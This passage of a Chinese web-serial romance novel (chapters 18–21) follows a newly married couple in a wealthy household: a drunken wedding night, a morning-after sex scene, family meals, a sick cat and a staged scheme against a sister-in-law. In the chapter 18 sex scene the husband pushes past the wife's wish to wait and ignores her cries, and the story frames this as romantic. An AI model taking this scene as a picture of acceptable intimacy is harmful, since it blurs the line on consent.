“就是金主也不能这样欺负人,强迫人喝毒药,这是自由的拳头,让你长长教训,我可不是听话的金丝雀,为了金丝雀的自由而战!”杭景妍一边说,一边跳上床,高举拳头,一副舍生忘死的模样。
凌栖珵被偷袭一拳,下意识的捂着肚子。虽然女人的力量并不是很大,但一拳下来还是有点痛。
他没有想到自己的洞房花烛是这么过的,简直没有比他更狼狈的新郎了,要是让他那班朋友知道了可不得给他笑死。
能怎么办,自己娶回来的女人自己宠着,他一个大男人还能跟一个女醉鬼计较不成。
现在摸不清楚女人的脑回路,且让她自己闹吧,闹累了也就睡了,现在他得去洗漱一番。
在浴室里还听见女人的各种跑调歌声,堪称‘鬼哭狼嚎’,过了一会没听见声音,估计也是闹累了,睡着了。
等他洗完澡出来,发现女人裹着被子躺在了地上,似乎睡着了。
18. 第 18 章
睡着的女人看上去纯良无害,与刚刚喝醉了发酒疯的形象判若两人。她卷缩在被子里,只露出个小脑袋,安静地睡着,像在新环境里没有安全感的小动物,让人心里不禁柔软下来。
凌栖珵放轻手脚走近,担心吵醒了她,把她连着被子抱上床。
感觉到被移动,在睡梦中的杭景妍不安地扭动。
凌栖珵连忙安抚:“乖,地上凉,去床上睡。”
杭景妍被放上柔软的大床,她转个身寻了个舒适的角度,又沉沉睡去。
凌栖珵坐在床沿观察了一阵,确定她真的睡着了,也从另一边上去躺在她的身边。
在她耳边道:“晚安,做个好梦。”说完,他关上他那边的台灯也进入了梦香。
清晨,阳光撕破漫天黑暗洒向大地,昭示着新一天的开始。
房内的光线仍然被厚厚的遮光帘遮挡,只是调皮的阳光不肯放弃攻城掠地,顺着遮光帘的间隙偷偷溜进来,给昏暗的房间内带来一丝光亮。
明亮的光线刺痛杭景妍的双眼,她缓缓转醒。
打量着陌生的房间,大脑有一瞬间的迟钝,老半天才想起这是她的新房,房间内一片昏暗,她只能透过穿透窗帘缝隙的一丝光线勉强打量着房间的布局。
一股清冽的檀香味沁入鼻尖,她转动脑袋往右边望去,男人一只手搂着她,闭着眼睛,沉沉睡着。
而她的睡姿也不太老实,一张大床被她占了三分之二,四仰八叉的躺着,一条莹润柔白的长腿更是随意的搭在男人的腿上。
意识到不对她悄悄把腿收回来,轻轻挪开身上的手,想偷偷溜之大吉。
昨晚她喝醉了,大脑像断掉的磁带,怎样倒退都回忆不起关键片段,只记得自己好像在吃烤鸭,后来被身边这个吝啬鬼抢走了她的烤鸭,后来又被扶上车带回家,剩下的就什么都不知道了。
但是看这情况,她估计好不到哪里去,她向来对自己的酒品没有任何信心。
可还没等她行动,身边的男人感觉到怀里的动静,缓缓睁开眼睛。
杭景妍吓的平屏住呼吸,大气不敢出。
凌栖珵睁开眼睛,见身边的女人一副僵直的模样,不禁有些想笑。
“酒醒了?”
杭景妍忙不迭应声,并试探着问:“我昨天没有做出什么不合时宜的事吧。”
见她这副模样,凌栖珵一本正经回答:“没有,只是和我说了一些平时想说又说不出口的心里话罢了。’
听他这样讲,杭景妍心里松了口气。
还好,没有说什么过分的。
凌栖珵继续说:“就是说要争取金丝雀的自由?还说就算卖给了我家,我也不能强迫你。亲爱的,这算是你的心里话吧?”
杭景妍:“.......。”
凌栖珵亲昵地替她拂开脸颊边的发丝,在她耳边细声细语:“放心,既然是娘子的要求,为夫自然是听命。”
男人的薄唇轻启间若有若无划过女子细嫩娇小的耳垂,像是无声的挑逗。
杭景妍耳朵控制不住一阵酥麻,并通过神经传递到手脚神经末端。
“但是,”凌栖珵故意顿了顿,吊足了身边之人的胃口。
“殴打亲夫是不对的,你说,我该怎么罚你这个不听话的金丝雀?”
一番话说得杭景妍哑口无言,许久才脱口道:“我打你?”
“嗯,所以现在我要讨要精神损失费。”
杭景妍还被忽悠的一愣一愣的,男人的薄唇便吻上她的双唇,撬开唇齿,长驱直入,攻城掠地,截取她的芬芳。
他的气息随着他的动作步步紧逼,霸道得让人拒绝不了,她只能在他的一步步进攻中瓦解。
杭景妍觉得身体随着他的吻变得发软,无意识得透出呻吟,就在她快透不过气时,男人放开了她。
两人鼻尖碰着鼻尖,交换着彼此的气息,喘息着,舒缓着热吻耗尽的能量。
凌栖珵贴着小女人的唇,气息不稳:“欠我的,洞房花烛夜,现在该还我了吧。”
杭景妍知道躲不过,但还是想挣扎一下,她各种找借口:“我们那么晚不起床,婆婆会不会说我不懂事。我看还是改天吧。”
还没能等她逃离男人的魔掌,便被男人禁锢在身下。唇随即落下,在她的脸颊,眼睫,鼻尖,最后是莹润的红唇。
都说早上的男人不要惹,古人说的话,真是至理名言。
凌栖珵这狗男人,她在上次就该知道,平时衣冠楚楚,一表人才的一副禁欲模样,脱了衣服简直就是禽兽。
杭景妍眼含双泪,仿佛被抛上汹涌的大海,随着海浪起伏,她拼命的呼叫着,扬起细长的脖颈,尖细的嗓音带着哭腔,不知道算是快乐还是恐惧。
在黑暗和光明之中游走晃荡,一会进入地狱,一会步入天堂,明明灭灭。她不知今夕是何年,一切都在旋转动荡,直至彻底沉入黑暗之中。
戚戚沥沥的水声不断渗入耳中,杭景妍悠悠转醒。
刚刚醒过来,便被身体的刺痛激的闷哼。
索性瘫在床上望着头顶的吊灯装死。
室内还跟早上醒来时一样,被遮光帘遮挡了大部分光线,她只能通过缝隙透过来的光亮望着模糊的吊灯。
窗外想起鸟儿的欢唱,这么一顿折腾估计也到了中午了。
水声仍然在响,估计那衣冠禽兽还在里面洗,禽兽吃饱了早餐又准备变身衣冠楚楚的模样。
可怜她个金丝雀,失去了自由,还要被大卸八块,被禽兽拆吃入腹。简直是越想越为自身悲惨的遭遇感到伤心。
现在总算明白了林黛玉的思想,今日我葬花,明日谁来葬我啊。
以前还是少女怀春时,总是幻想着婚礼的样子,看各种才子佳人的小说,也幻想着遇到真爱自己的另一半,甚至还幻想着自己是女主角可以和自己的爱人一起洞房花烛。
都说人生两大乐事,洞房花烛夜,金榜题名时。
这话估计是男人说的,可怜的古代女人,话语权都没有,洞房花烛的不美好的经历都没有发言权。
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>这下轮到自己了,杭景妍才明白洞房花烛夜的‘惨痛’经历,女同胞真是太惨了。
虽然,上次已经有了一次不愉快的经历,但是她想到他当时神志不清,其实怪不得他。
她以为这次会有个美好的浪漫的,水乳交融的开始。
但,事实告诉她,是她太傻太天真。
开始时,男人还小意温柔,顾及她的感受,后来简直就是原形毕露,任她怎样呼喊都无济于事。
只是哄骗她,‘忍忍,快好了。’
男人的嘴,骗人的鬼,最后直到她晕了都没完。
禽兽不如!
凌栖珵洗漱完,穿上深色家具服,梳洗一番后的他,又恢复一表人才的禁欲形象,简直和床上的判若两人。
杭景妍看到他这副模样就来气,随手捞过身边的枕头朝他扔过去。
凌栖珵稳稳的接住抱枕,随手放在一边,笑了笑,“生气了。”
“起开,禽兽都吃饱了,哪里还用管金丝雀的死活。”杭景妍生气地转过身,不想看他那副嘚瑟的模样。
凌栖珵也不顾小妻子还在生气,掀开被子,抱起她便往浴室走。
“金丝雀还是要好好保养的,不然怎么重复利用。”
听听,这说的是人话吗?
杭景妍气的捏起小粉拳,给他两拳。
凌栖珵任她挥舞着小拳头在自己身上发泄,随手握住她的纤纤玉指落下一吻,安慰:“为夫错了,让亲爱的受罪了,好好泡个澡,我亲自伺候如何。”
他把小妻子放在大理石砌成的浴缸中,放热水,随着热水缓缓灌满浴缸,再撒上玫瑰花瓣,倒入精油。
疲惫酸软的身体被热水环抱,瞬间感觉到舒缓。
杭景妍冷哼:“看在你那么用心侍奉的份上,原谅你了。”
凌栖珵唇角微弯,“多谢娘子体谅。”
“你少得了便宜还卖乖。”
洗了大半个小时,浑身的不适减缓,杭景妍披上浴袍,走出了浴室,进入隔壁更衣室。
更衣室内,两排红木雕成的衣柜,摆满了时新款式衣裳,中式西式都有。中间柜子是手包和名贵首饰。
杭景妍打开其中一项,里面挂满当下时新旗袍款式,但她不太喜欢。挑了一件的淡蓝色百褶连衣裙,清丽典雅,不失浪漫俏皮,刚刚换上,又觉得另一件波点红裙也甚美,浓艳热烈。一时左右为难拿不定主意。
突然,她想到外面还有现成的军师。
凌栖珵在卧室的沙发上看着报纸等待小女人梳妆打扮,突然两件衣服出现在他面前。
“叮叮,凌栖珵,我穿那套合适?”杭景妍拿着两套衣服放在身前比划。
被妻子直呼大名的凌栖珵非常不爽:“亲爱的,我们已经结婚了。”
“哎呀,你就不要在意这些小节嘛,说嘛,哪套合适?”意识到不对劲,但是她还是不想叫出那个称呼,感觉他们很亲密似的。虽然该做的都做了。
“叫声老公,我就告诉你。”凌栖珵威逼利诱。
19. 第 19 章
“哼,不要你意见了。”
杭景妍转身想走,被男人随手拉住,往回一带,便跌入男人怀中。
男人独有的檀香味瞬间环绕。
凌栖珵薄唇靠近她的,两人呼吸交缠。
“你不说,我可亲上去了。”
杭景妍抬眼望着他的眼,憋红了脸颊,小声道:“老公。”
听到满意的答案,男人心花怒放,弯起唇角,在小妻子唇角边轻吻:“穿红色长裙吧,冬天露脚出来受寒可不好。”
杭景妍听话地拿着两套衣服回了更衣室,边走边想:“小气鬼,肯定不想我露两条腿给别人看,就喜欢保守的,男人都是小气鬼。”
但想了想,还是顺了他的意,换上了红色波点长裙,带上短的天然珍珠项链,莹润小巧的耳垂再点缀上小珍珠,红白相间的造型,靓丽中不失清纯。
她打扮好出更衣室,在等候已久的男人面前转了个圈,“怎么样,美吗?”
“很美,我凌栖珵的妻子当然是最美的。”他伸出手给她,“走吧,去母亲那边吃饭。”
杭景妍牵起他的手,“你们男人真是,什么时候都不忘给自己脸上贴金。”
上房。
凌夫人正在插花,女儿凌绘雨在一旁陪着聊天。
凌栖珵和杭景妍夫妻二人手牵手进来。
“母亲。”
见儿子儿媳新婚后第一天到她房中来,她欣喜不已,连忙放下手中的活,招呼他们坐下。
“你们怎么过来了?”
杭景妍连忙道:“新婚第一天,儿媳妇应当来拜见。”
凌夫人拉着儿媳妇的手笑着慈祥,“你刚来第一天,怕不习惯,起不来床可以不来,不必拘这些理解。”
“谢谢妈妈的理解,但是这都已经中午了,怎么都要来陪妈妈吃午饭的。”
“你有这份孝心,妈妈真高兴,以后就是一家人了,栖珵要是欺负你了,尽管来找我,这孩子从不着家门,以后有你陪着我这孤老婆子,这日子也没有那么孤单了。”
一旁的凌绘雨手帕掩嘴偷笑:“欺负,嫂子可不被欺负惨了。脖子上还留着证据呢。”
杭景妍一听,连忙护着脖子,想着肯定是这狗男人,留在脖子上的印记,都怪自己没看到,还选了低领的衣服,还被他好一番哄骗。
思及此,忍不住狠狠给了身旁男人一记眼刀。
“嫂嫂,都是一家人,别害羞,没事的。”凌绘雪一边偷笑一边安慰。
凌夫人招呼:“好了,绘雪,别开你嫂嫂玩笑,她脸皮薄。”
凌栖珵转移注意力道:“到点了,吃饭吧。”
凌夫人连忙起身招呼大家:“走吧,你爸爸估计又在你姨娘那不回来了,我们先吃。”
去往餐厅的路上,凌栖珵和杭景妍走在后面,他趁着没人注意偷偷牵过她的手。
杭景妍一把把手抽回来,不断往上扯衣领,盖住脖子上的印记。
想想这都是由于身边这个人害的,就恼羞成怒。
在饭桌上杭景妍都没给男人好脸色。
凌栖珵各种夹菜讨好,面前摆放着清蒸鲈鱼,他特意挑选了鱼背最厚的一块肉,细心观看是否有鱼刺,又小心吹凉,再放入小妻子面前的碟子中。
“鱼背后的肉,厚实无刺,知道你爱吃鱼,有害怕鱼刺卡喉,我特意看了,一丝刺都没有。放心吃。”
杭景妍想了想这狗男人让自己丢脸,怎么都饶不了他。但时看他这么殷勤,她还是夹起鱼肉吃了一口。
微抿两下,她捂住嘴巴,说不出话来,像被什么东西卡住了,只忙找东西,手忙脚乱的。
凌栖珵见了此景,一顿惊慌,忙替她拍背顺气:“是不是被鱼刺卡住了,我明明看了没有刺了。又忙着招呼佣人:“去哪醋来。”
凌绘雨和凌夫人见状也很着急。
凌绘雨:“要不赶快送去医院吧,叫医生看看。”
听到要去医院,杭景妍连忙假装吞了鱼刺下去。
“不用,我没事了。已经吞下去了。”
凌栖珵看到这场景,知道她这小妻子戏精瘾又犯了,就是想吓吓他。
安慰凌夫人:“没事,景妍就是刚刚有点呛到了,不是鱼刺。”
凌夫人听了放下心来。
凌绘雨舒了口气:“嫂嫂,你吓死人了。”
杭景妍强颜欢笑:“我没事,吓到大家了。”
佣人这时才从厨房拿了一碟醋过来,放在杭景妍身前:“少夫人请用。”
杭景妍:“放桌上吧。”
见她这样,凌栖珵忍不住弯了弯唇角。
他觉得他的小妻子越来越有趣了,每次算计别人就都把自己算计在内了,实在是杀敌一千自损八百。
真不知道该说她聪明还是该说她笨了。
凌栖珵附在小妻子耳边道:“下次,算计为夫,还是计算精准点,免得把自己也算进去了,那就得不偿失了。”
杭景妍的小脸一会生气一会笑嘻嘻:“那就谢谢老公了。”
凌栖珵一脸理所当然,“恩,不用谢。”
杭景妍在背后瞬间变脸。
男人真狗,给点颜色就开染坊。
“吃啊,怎么不吃。”
杭景妍只好拿起汤匙,“吃,当然吃。”
等吃完饭,杭景妍用半碗鸡汤,冲进刚刚端来的醋里,用汤匙搅拌均匀,舀一勺,放至唇边抿小口,细细品味:“老公,这醋鸡汤好喝的很,来,我喂你。”她又舀一勺放至男人唇边:“男人要多吃点醋,对身体好,以后还有的你吃,现在习惯习惯。”
凌栖珵在母亲和妹妹的注视下推脱不得,喝了一勺醋鸡汤。
“好喝吗?”
“好喝。醋的味道勾出了鸡汤的鲜味,相得益彰。”
得到肯定的回答,杭景妍把剩下的醋鸡汤,推到了丈夫的面前:“既然如此,那我就忍痛割爱吧。
凌栖珵估计小妻子心里正洋洋得意,以为可以将自己一军,他想了想,还是纵容了她的小计谋,看见她忍不住上扬的唇角,这阴冷的家庭都好像多了一丝趣味。
他端起小碗,两三口饮尽。“多谢亲爱的,这么关心为夫。”
杭景妍暗暗撇撇嘴,心想,狗男人就是会给自己脸上贴金。
吃完午饭,凌夫人也累了,便吩咐他们小夫妻回去了。
杭景妍想起橘气球,突然搬到新家不知道习惯嘛,昨天因为婚礼忙碌,而来不及关心它,都是绮绿在照顾。
回了自己院子,她连忙满屋子找橘气球,一边找,一边呼唤它的名字:“气球。”
但是‘气球’像消失了一样,没有发出一丝声音。
杭景妍急的屋里屋外到处乱转,又在客厅各个角落寻找,翻开沙发套看下是不是躲在了沙发底下,结果还是没有。
杭景妍连忙叫了绮绿过来。
正在打扫的绮绿听到小姐的呼唤,放下手中活计赶来。
“小姐,你叫我?”
“气球呢,不是你带它吗?跑哪里去了?”
绮绿疑惑的在客厅巡视:“刚刚还在这里呢,怎么一转眼就不见了。”
也跟着小姐一起在屋子里寻找,一边找一边呼喊:“气球......”
找遍楼上楼下,最后,杭景妍在一间无人的房间的衣柜顶上的角落里,发现了躲在其中的‘橘气球’。
杭景妍又生气又欣慰,对着橘气球道:“找了你大半天,叫你的名字,你为什么不吭声?”
‘橘气球’眯着眼睛趴在大衣柜上,一动不动,
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仿佛带着帝王的蔑视。
杭景妍伸出双手做出接着它的姿势:“跳下来吧。”
手伸半天,’橘气球‘还是一动不动,她感觉不对,找了一把椅子,站上去,把衣柜上的‘橘气球’抱下来,抚摸着它的毛发,安抚它:“别怕,这是我们的新家,你跟着妈妈住到新家来了。”
抚摸中,摸到‘橘气球’的脚,它立马缩回去,并且大叫一声。
杭景妍急道:“怎么回事,是不是跳上柜子的时候扭到了。”
立马急哄哄的跑出屋外,跟从外面回来的凌栖珵撞个满怀。
凌栖珵扶稳她,见她抱着‘橘气球’准备出门,便问:“出了什么事了,你抱着猫要去哪?”
“气球可能刚到新家不习惯,乱跳伤了脚,我要带它去看医生。”
杭景妍刚说完,怀里的‘橘气球’一阵反胃干呕,吐出了昨晚的食物,食物残渣沾到她的衣服上。
她大吃一惊,叫了声‘气球’,连忙拍着它的背安抚着。
凌栖珵看着情景,也觉得紧急,他吩咐:“景妍你去换个衣服,绮绿,你过来照看一下,我开车带你去宠物医院。”
绮绿连忙放下手中的活,跑过来看着‘气球’。
吐过后的‘气球’恹恹的趴在地上,打不起精神,看着让人揪心。
杭景妍抚摸着它的背,安抚它,“你等等妈妈,妈妈马上带你去医院,别怕。”
杭景妍换好了衣服,匆匆下楼,把‘气球’放进笼子里,着急忙慌地出了屋。
穿过院子往屋外走,因为太过匆忙,和半路突然出现的凌绘雪撞了个满怀。
杭景妍被撞得退了几步,待看清人后,理都懒得理,绕过她就准备走。
哪知,凌绘雪不依不饶,挡在她身前,“嫂子,这么着急忙慌的,准备去哪?”
杭景妍也不是个脾气好的,“让开!”
凌绘雪看着在笼子中病怏怏的猫,清楚了。
“原来是带猫去看病。”她弯下腰,对着‘气球’道:“我们凌家,可不是什么来路不清楚的阿猫阿狗都可以进来的,所以你进来就水土不服。”
听到她这番话,杭景妍简直怒火中烧,伸手一把推开她。
力气之大,把凌绘雨推着后退几步,几乎站不稳。
杭景妍一个白眼扫过去,“好狗不挡道。”
这时,汽车喇叭响起,是凌栖珵已经准备好,就等着妻子上车的提示声。
杭景妍提着笼子,飞奔到车上。刚坐好,车便如离弦的箭,疾驰而去。
一路上,‘气球’都有点不安的叫唤着。杭景妍在车上找了块步,给笼子盖上。黑暗的环境让它有点安全感,只剩下一个小角让她可以伸手进去摸摸气球的头。
杭景妍摸着气球的头:“我们是去医院,别怕,我们给医生看看你生的什么病,我们吃了药药就好了。”
‘气球’好像听懂了她说的话,不叫了,安静地待在笼中闭眼休息。
杭景妍摸摸它的头,重重叹气,越想越伤感:“气球,跟在我身边那么久,从来没有这样过,它是我在学校垃圾桶旁捡来的猫,田园猫身体一直很好,奔奔跳跳的,它要有事我怎么办。”
刚好过一个路口,停车间隙,凌栖珵伸手摸摸她的头,安慰:“别担心,有我在,气球一定会没事的。”
两人开车到杭景妍平常去的一家诊所,可是今天诊所竟然关门了,上前看门口告示,医生有事回老家几天。
找不到医生,杭景妍刚刚稳定下来的情绪又出现惊慌。
她摇着男人的手,带着哭声道:“怎么办,我平时都是带气球来这家医院的,现在一时半会去哪里找别的医生。”
凌栖珵安抚她:“没事,我来搞定,我带你去别的医院。”
20. 第 20 章
他搂着杭景妍的肩,打开车后门扶她坐进去,又把气球的笼子也送到她身边,返回驾驶室,坐好。
“我认识一位医生,多年的老朋友。带你去他那里看。”话落,脚踩油门,疾驰而去。
路上,杭景妍的情绪稳定下来,擦擦眼泪,又恢复了原本的状态。
“你的人脉真广,看来你这便宜老公还是有点用处。”
凌栖珵微哂,顺着她的话说下去,“那是当然,便宜老公一定会有便宜的用处。”
看似自贬,实际上是自夸。
看在他现在有用处的份上,杭景妍也就没有继续跟他抬杠。
车行驶了半小时,在一家小巷路口停下。
杭景妍往小巷望去,又转头疑惑着看着他。这里怎么看都不像是有医生诊所的地方。
凌栖珵下车为她打开车门:“下来吧,我那位朋友就住这。”
杭景妍跟着凌栖珵下车,走进幽深又带着清冷的小巷,皮鞋踏上泛着青苔的青石板上,发出清脆的‘哒哒’声。
他们走到一扇关着的红色大门前,凌栖珵踏上台阶,抬手扣门环敲响大门。
两三声后,一位西装革履的男子前来打开大门。
看到来人,男子眼前一亮,连忙侧身让人进来。
“你们怎么来了,昨天喝你们的喜酒,我的酒才刚醒,你们新婚燕尔的怎么结婚第一天就想起我这旮旯地来。”
杭景妍随着他们进屋,把笼子放在桌面上,“还不是为了它。”
说着她撩开笼子上一直盖着的布把笼子内恹恹的‘气球’给医生看。
“气球也不知道怎么了,今天吐了好几次,刚好我的医生又关门了,我们只好找到你这里。”
说到工作范围的东西,杜忱也认真起来,把气球从笼子里抱出来,左右看看,又扒开它的嘴巴看了下,摸了摸它的小肚子。
“我看它的精神状态也还好,可能是刚刚来了新家不太适应新环境。你们带回去继续观察,但是也别过分关注它,让它自己找一个安全地方待几天,感觉安全了它自然会放松。如果几天后还是这样吐,你们再来找我。”
杭景妍听了简直心疼死了。抱起气球,连连安慰:“宝贝你受苦了,妈妈在,妈妈陪着你,我们只是去了新家,别怕。”
气球好像听懂了她的话,趴在桌上乖巧的一声‘瞄’回应。
杭景妍被它的乖巧懂事的叫声激的心疼不已,不断抚摸着它的背,眼泪在眼眶中打转,含着哭声道:“妈妈宝贝,乖乖。”
一边的凌栖珵看没事了,拍了拍杜忱的肩膀,跟好兄弟告别:“既然如此,我们就不打扰你了。辛苦了,改天有空再一起喝酒。”
杜忱也回拍兄弟的肩膀,“有空在聚,我就不打扰你们新婚小两口的二人世界了。”
告别了兄弟,凌栖珵拍着妻子的背,安抚着她,“放心,杜忱说没事,就是没事。他当医生十几年了,相信他。”
杭景妍也觉得自己失态,摸了摸眼泪,对杜忱道:“谢谢杜医生。”
“别客气。栖珵的事情就是我的事情。”
杜忱帮忙把气球送进笼子里。送他们出门。
他们走出巷子,坐进车内。
随着车子启动,在林荫路上疾驰,气球也在车上睡着了。
杭景妍的情绪才缓过来,想到刚才杜忱说的话,气球是突然换了环境才会变成这样。
肯定是因为跟着她嫁到了凌家突然换了家担心受怕所致。推及及人,她都对未知的生活充满着惶恐和不安,何况是一只猫呢。
这一切的罪魁祸首就是身边这个男人,思及此,杭景妍愤怒的盯着他,眼神凌厉。
感觉到身边女人的视线,趁着等红灯的间隙,凌栖珵伸手过来握这她的手,“怎么了,还担心气球?杜忱说没问题就是没问题,放心。”
杭景妍把手从男人宽大的手心中抽出,头扭到一边:“哼,都是你的错。”
凌栖珵一头雾水,“我做错什么了?”
“气球是跟着我嫁过来,面对未知的环境害怕才这样,你家那个魔窟,别说气球了,我都害怕。这不是你的错是什么?”
虽然有一定的无理取闹,但是杭景妍的话也不是全错。她在天真浪漫的年级,本该无忧无虑的享受人生。现在却因为自己的私心让她陪着他在这个封建腐朽的家族中挣扎。他第一次觉得自己的残忍。
“对不起,都是我的错,我会尽力照顾你的,也会尽心照顾它,”
杭景妍也意识道自己一时气愤说的话可能过重了,婚都结了,说这些还有什么用。都怪自己老爸没用,有求于人还能怎么办。现在想想这够男人说得对,身在豪门家族自己的婚姻从来就由不得自己。
“你们男人认错都那么快的嘛?我用得着你照顾,我不是你家那些深闺的贵太太,既然是合作伙伴,我当然要发挥我的价值。我只希望气球能好好的。”
杭景妍主动缓和了气氛,凌栖珵也松了口气,他没看错她,她是个坚强不服输的女人。
“我就知道我太太是如此的善解人意。”
杭景妍白了他一眼,“油嘴滑舌。”
车回到了凌家,杭景妍和凌栖珵正准备回自己屋,路上又遇到了凌绘雨和凌二太太,凌老爷。
想起刚刚她出去时,凌绘雨的刁难,这口气她怎么咽的下去。
她拉了拉走在前面的凌栖珵的衣袖,示意他停下。
凌栖珵停下脚步,回身望着她。
杭景妍上前小声道:“既然是夫妻一体,那么我干什么你都会支持的对吧?”
看她这个样子,凌栖珵知道她估计是要整什么事了。
“当然。”
看到远方的父亲和那个女人一家,他骤然明白。
“父亲在那,我们去打个招呼。”
两人携手上前,凌老爷和二姨太,凌绘雨都看到了他们。
两人异口同声,叫了声“父亲,姨娘。”
凌老爷还想起儿子新婚第二天,自己还没见过他们夫妇,点了点头,又友好的问道:“刚完成婚礼你们又去哪儿过二人世界了。”
还没等凌栖珵回答,杭景妍做出柔软状,小心翼翼挪到他的身后,用细小但足以让在场所有人都听清的声音:“别,别害我的猫。”
凌栖珵连忙回身抱着她,“别怕,没人要害你的猫。”
凌老爷也被她的模样搞得一头雾水,“谁要害你的猫?哪个下人那么不长眼,说出来,我来教教他们凌家的规矩。”
杭景妍假装扭捏了老半天,又像下了很大的决心,一下跪了下来。把除了凌栖珵外的所有人都吓了一跳。
凌栖珵假模假样的配合扶她起来,“赶快起来。爸爸在这,有什么就说,爸爸会帮你做主的。”
凌老爷也连忙扶起儿媳:“乖孩子,有什么委屈,告诉爸爸。”
杭景妍一边摇头一边抹泪。
“二小姐,我这一跪,替我的猫猫给你赔罪,千错万错都是我的错,是我没有看好它,让它跑出来招你讨厌了。请你大人有大量,别伤害它。我一定把它放在你看不见的地方去。只是它陪了我很多年了,我实在不能离开它,你能不能高抬贵手,放过一只猫吧。”
凌绘雨平时飞扬跋扈,但是也只敢在没人的地方,这回看了嫂子一场戏,没想到是冲自己来的。
现在就是有口也说不清,父亲肯定认为是自己容不下一只猫。
凌栖珵又适当回答:“父亲,其实我们刚才是带景妍的猫去看医生。”
两厢应合,让一向重视规矩的凌老爷顿时怒气横生。
“绘雨,我真是平时骄纵着你一点规矩都没有了,总以为你还懂点规矩,现在你都欺负到嫂子的头上去了。”
“爸,我没有,你听那个女人乱说。”
凌老爷被女儿顶嘴觉得更生气了,“你没有,难不成你哥哥嫂子诬陷你不
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成,你嫂子刚进家门,跟你有何仇怨要这样诬赖你。”
凌绘雨有口难辨,总不能把刚刚耍横的事情说出来。
“滚回你的屋子里,没我的允许哪都不许去,这个月零花钱没了,再罚抄五十遍女训。”
杭景妍见达成目的,心里暗笑,但是面上却在劝凌老爷:“爸爸,妹妹年少不懂事,都是我的错,要罚就罚我吧。”
凌老爷安慰儿媳妇,“都是小雨不懂事,让你受委屈了,凌家的规矩,有错要罚,谁都不能幸免。”
凌栖珵在一旁扮演孝顺儿子,“爸爸,你消消气,别气坏了身体。”
凌老爷喝了口茶,缓缓,“我没事,你们回去休息吧。”
夫妻两恭敬道:“那我们回屋了,爸爸保重。”说完,夫妻两提着猫回自己屋。
回到自己屋,杭景妍把气球交给绮绿,和凌栖珵回主卧。
主卧更衣室
凌栖珵一边把外套脱下,挂在衣架上,再走出去喝水。
喝完水,见杭景妍双手抱胸,斜倚在门边,现在你该跟我说说你跟二房的恩怨了吧。
“让我猜猜,你想让我跟你一起对付他们夺家产?有我家的助力,你在公司更添一层保障吧。”
凌栖珵点了点头,“我只是觉得,这个家太无聊了,让你来增加一抹颜色。”
杭景妍走到他身边,伸手搂着他的脖子,“你知道你这叫什么吗?绿茶。”
凌栖珵假装思索道:“这不是形容你的刚才的那番表演的嘛。”
杭景妍,佯装生气,用小拳头给了他一拳,“滚蛋。”说着要起身。
凌栖珵单手还着她的腰,又把她带回来“你也看到了,我母亲不得父亲宠爱,我们新婚第一天来拜见父亲也不出现,虽然二房的儿子是个废物,但是父亲还是让他进公司历练,我不得不早做打算。
杭景妍无奈撇嘴,拿开他放在腰间的手,准备去更衣室换衣服,“你们家真是麻烦,所以男人别娶那么多老婆。”
说完又想到什么:“你要是敢像你爸一样纳妾,我就离婚。我看你家是有花心的基因的,想想都让人不放心。”
凌栖珵知道自己怎样保证都没用,只能说:“时间会证明一切。”
杭景妍在更衣室换衣服,声音透过门板传来,“看在你刚才配合的那么好的份上,暂时相信你。”
凌栖珵想起刚才的事,觉得可能在他不知道的角落妻子被为难了。
“她刁难你了?”
杭景妍换号家居服出来:“不然呢,不给我养猫,说我不入流呗,看来你家二房的确咄咄逼人啊。”
“以后发生了什么事,记得跟我说,我是你丈夫。”
“我知道啊,我们是一条绳子上蚂蚱,不过这点小事,我刚才不是完成的很好嘛。”杭景妍边说边得意的挑起一边刘海,抛了个媚眼。
晚上杭景妍夫妻两洗漱完,躺在床上,拉黑了灯准备就寝。
男人的手准备伸过来时,一声‘瞄’想起,气球已经开始有了点好转,趁着夜色,跳上了女主人的怀里撒娇。
杭景妍见气球跳上床来,又惊又喜,难得一贯独立的气球主动投怀送抱,她搂着它,躺在了她和男人中间。
“可怜的宝宝,一定是害怕了,今天跟妈妈睡。”
凌栖珵嫌弃得不行,“不行,我们之间怎么还放着它,怎样都不允许它在这张床上睡,我体谅你心疼它的心,但是它必须去它自己的地方。”
凌栖珵说着就想动手把它赶下去,还没等动手,气球就一抓过去。
要是不他闪得快,真的被抓伤。
“你今早上不是还恹恹的,晚上就精神了?我可是带你去看病的人,你恩将仇报。”
杭景妍哈哈大笑:“你就别自讨苦吃了,免得再被来一爪子,今天我就跟它一起睡。”
凌栖珵无语望天,没想到有一天的第三者是一只猫,他还要跟一只猫抢女人。
21. 第 21 章
过了两天,也到了回门的日子。
杭景妍一大早起床梳妆打扮,这是她出嫁以后第一次回家见父母,自然欢欣雀跃。
凌栖珵昨天被踹下了床,被赶去睡得沙发,一早起来就黑着张脸,对谁都没有好脸色。
从镜子中看到他黑着脸换衣服,平时英俊的五官乌云笼罩,杭景妍忍俊不禁,想来他一个要风得风,要雨得与雨的大少爷哪里受过这等委屈,她化好妆,便来到他身边给了他一个大拥抱。
“好了,你一个大男人,还要跟一只猫计较吗?说出去让人笑话。”
凌栖珵还是不解气,冷这个脸道:“我还没想过我有一天要跟一只猫争女人。”
“那我替它给你赔罪,您凌大少爷大人不记小兽过,原谅一只动物吧。”杭景妍假模假样给他鞠躬。
“那我需要一个礼物,就原谅它了。”凌栖珵故意露出右边脸颊。
杭景妍老半天才反应过来他的意思,无奈踮起脚尖,在男人精致的侧脸蜻蜓点水般落下一吻。
“可以了吗,大少爷?”
凌栖珵满意道:“看在你那么心诚的份上,原谅你了。”
此时,早已经为了少爷少奶奶回门准备礼物的下人上前打破了两人的打趣。
“少爷,您要备的礼物,我们已经准备好了,已经放在了您的车后箱中。”
凌栖珵点点头,示意:“我知道了,你们辛苦了,下去吧。”
打发了下人,朝着身边的小妻子伸出手,手指修长,骨节分明。
“走吧,夫人,回娘家了。”
杭景妍伸出纤细莹白的手,放在他的掌心,“得了便宜还卖乖。”
杭府
回门的日子,杭老爷杭夫人睡也睡不好,便早早起来准备,交代佣人去菜市场买景妍爱吃的新鲜食材。
又指挥其他佣人把会客厅,女儿的卧室都打扫了一遍。忙里忙外,好不热闹。
收拾好了,夫妻两人等待在会客厅当中,杭夫人仿佛热锅上的蚂蚁,坐如针毡,不断伸长脖子往门口张望。
“怎么还不来呢?”
“景妍从小到大都没离开过我身边,这突然去了新的环境也不知道她过得好不好。”
杭老爷虽然也在担心女儿,但毕竟是一家之主,面上还是维持了冷静,端起桌边一盏茶,慢慢品尝。
“女儿一会就到了,等下你亲自问她就是了。”
过了大约二十分钟,院子里想起了汽笛声。
